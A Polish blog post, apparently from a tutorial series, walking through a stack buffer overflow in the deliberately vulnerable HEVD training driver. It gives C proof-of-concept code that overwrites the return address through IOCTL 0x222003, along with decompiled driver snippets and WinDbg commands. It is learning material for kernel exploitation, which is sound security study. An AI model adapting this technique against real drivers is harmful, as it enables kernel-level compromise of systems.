Post

[PL] HEVD Stack Buffer Overflow #2 - Nadpisanie adresu powrotu

[PL] HEVD Stack Buffer Overflow #2 - Nadpisanie adresu powrotu

W poprzednim artykule poddaliśmy ocenie podatność przepełnienia stosu w sterowniku HEVD. Dzięki analizie z poziomu assemblera udało się określić potrzebny rozmiar przepełnienia zmiennej lokalnej by nadpisać adres powrotu.

W tym poście faktycznie “dotkniemy” już sterownika, i spróbujemy zmienić adres powrotu rozkazu ret

Weryfikacja podatności

Aby zweryfikować podatność, przekażmy sterownikowi bufor o rozmiarze 2080 bajtów, z bajtami 2072-2079 ustawionymi na 0x0123456789ABCDEF - przykładowy 64 bitowy adres powrotu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>

#define ull uint64_t

HANDLE getHandle() {
    HANDLE hDriver = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", // Symlink do sterownika
        GENERIC_READ | GENERIC_WRITE, // Pełne uprawnienia dostępu
        0,
        NULL,
        OPEN_EXISTING, // Uzyskujemy dostęp wyłącznie do istniejącego obiektu
        0,
        NULL
    );

    if (hDriver == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        printf("[!] Nieudana próba uzyskania handle do sterownika, error: %d\n", err);
        exit(1);
    }

    printf("[+] Uzyskano handle do sterownika\n");
    return hDriver;
}

LPVOID fillPattern(int inBufferSize) {
    // Alokujemy pamięć, której adres przekażemy do metody sterownika
    LPVOID inBuffer = VirtualAlloc(NULL, // Bez określonego adresu początkowego
        inBufferSize, // Liczba bajtów do alokacji
        MEM_COMMIT | MEM_RESERVE, // Rezerwacja i inicjalizacja pamięci
        PAGE_EXECUTE_READWRITE // Pamięć posiada pełne uprawnienia do modyfikacji oraz wykonywania
    );

    if (inBuffer == NULL) {
        DWORD err = GetLastError();
        printf("[!] Nieudało się zaalokować pamięci, error: %d\n", err);
        exit(1);
    }

    printf("[+] Pomyślnie zaalokowano %d bajtów pamięci\n", inBufferSize);

    RtlFillMemory(inBuffer, inBufferSize, 'A'); // Zawartość pamięci wypełniamy literami ascii 'A'

    return inBuffer;
}

int main()
{
    HANDLE hDriver = getHandle(); // Uzyskujemy handle do komunikacji ze sterownikiem

    //Alokujemy pamięć, która trafi na stos
    const int inBufferSize = 2080; // ilość bajtów które potrzebujemy zaalokować by nadpisać adres powrotu
    LPVOID inBuffer = fillPattern(inBufferSize);

    //wskaźnik na adres powrotu
    ull* stackVertice = (ull*)((ull)inBuffer + 2072);

    *(stackVertice) = (ull)0x0123456789ABCDEF;

    DeviceIoControl(hDriver, // Handle do sterownika
        0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
        (LPVOID)inBuffer, // Nasz bufor wejściowy
        inBufferSize, // Rozmiar buforu wejściowego
        NULL, // Brak buforu wyjściowego
        0,
        NULL,
        NULL
    );

    return 0;
}

Kod wymaga wyjaśnień, w szczególności tych dwóch “magicznych” wartości:

  • L"\\\\.\\HacksysExtremeVulnerableDriver" // Symlink do sterownika
  • 0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler

Przyjrzyjmy się funkcji DriverEntry sterownika HEVD.

1
2
3
4
5
6
long __cdecl DriverEntry(_DRIVER_OBJECT *param_1,_UNICODE_STRING *param_2)

//...

RtlInitUnicodeString(local_18,L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&local_28,L"\\DosDevices\\HackSysExtremeVulnerableDriver");

Widzimy, że łącze symboliczne do sterownika to “HackSysExtremeVulnerableDriver”. Prefix “\\.\” zastosowany w naszym kodzie to odwołanie się do Menedżera obiektów.

Wiemy już jak odwołać się do sterownika, natomiast nie powiedzieliśmy jeszcze jaką funkcję chcemy wykonać. Aby to zrobić znajdźmy wpierw kod IOCTL funkcji BufferOverflowStackIoctlHandler

1
2
3
4
5
6
7
8
9
long __cdecl IrpDeviceIoCtlHandler(_DEVICE_OBJECT *param_1,_IRP *param_2)

//...

else if (uVar1 == 0x222003) {
    DbgPrintEx(0x4d,3,"****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
    lVar3 = BufferOverflowStackIoctlHandler(param_2,p_Var2);
    pcVar4 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";
}

Funkcja IrpDeviceIoCtlHandler przetwarza otrzymany pakiet IRP (I/O Request Packet) i steruje dalszym wykonaniem.

Wewnątrz znajduje się instrukcja warunkowa (switch), która wywołuje odpowiednią funkcję na podstawie kodu sterującego zapisanego w zmiennej uVar1.

Jak widać, kod IOCTL dla funkcji BufferOverflowStackIoctlHandler to 0x222003.

Rezultaty wykonania

Aby wyświetlały nam się komunikaty DbgPrint od sterownika HEVD w konsoli WinDbg, konieczne jest wprowadzenie w nim takiego polecenia:

1
ed nt!Kd_IHVDRIVER_Mask 8

DbgPrint Sterownika HEVD

Jeżeli po wczytaniu sterownika wyświetliła się taka wiadomość. To znaczy, że wszystko jest skonfigurowane jak należy :). Skrypt uruchamiający sterownik znajdziecie na moim githubie: TUTAJ

Następnym krokiem jest ustawienie breakpointu na rozkazie ret w funkcji TriggerBufferOverflowStack.

Znowu przyda nam się WinDbg:

1
x HEVD!TriggerBufferOverflowStack

Breakpoint TriggerBufferOverflowStack

Po ustawieniu breakpointu możemy uruchomić nasz program.

Wykonanie programu

Udało nam się ustawić adres powrotu na wierzchołek stosu 🥳. Wykonanie instrukcji powoduje bluescreen UNEXPECTED_KERNEL_MODE_TRAP, ponieważ adres jest niepoprawny.

Wykonałem również ten sam program, nadpisując tym razem 2104 bajty, czyli zmieniający stany rejestrów zapisane w shadow space. Zgodnie z oczekiwaniami rejestry: RBX, RSI, RDI, R12, R14, R15 zostały nadpisane.

Rejestry

W następnym blogu, spróbujemy wykonać dowolne ustalone przez nas polecenia (Arbitrary Code Execution) z poziomu Ring 0. Zastosujemy również moim zdaniem najbardziej “fun” metodykę w eksploatacji czyli ROP Chaining :D.

This post is licensed under CC BY 4.0 by the author.

Trending Tags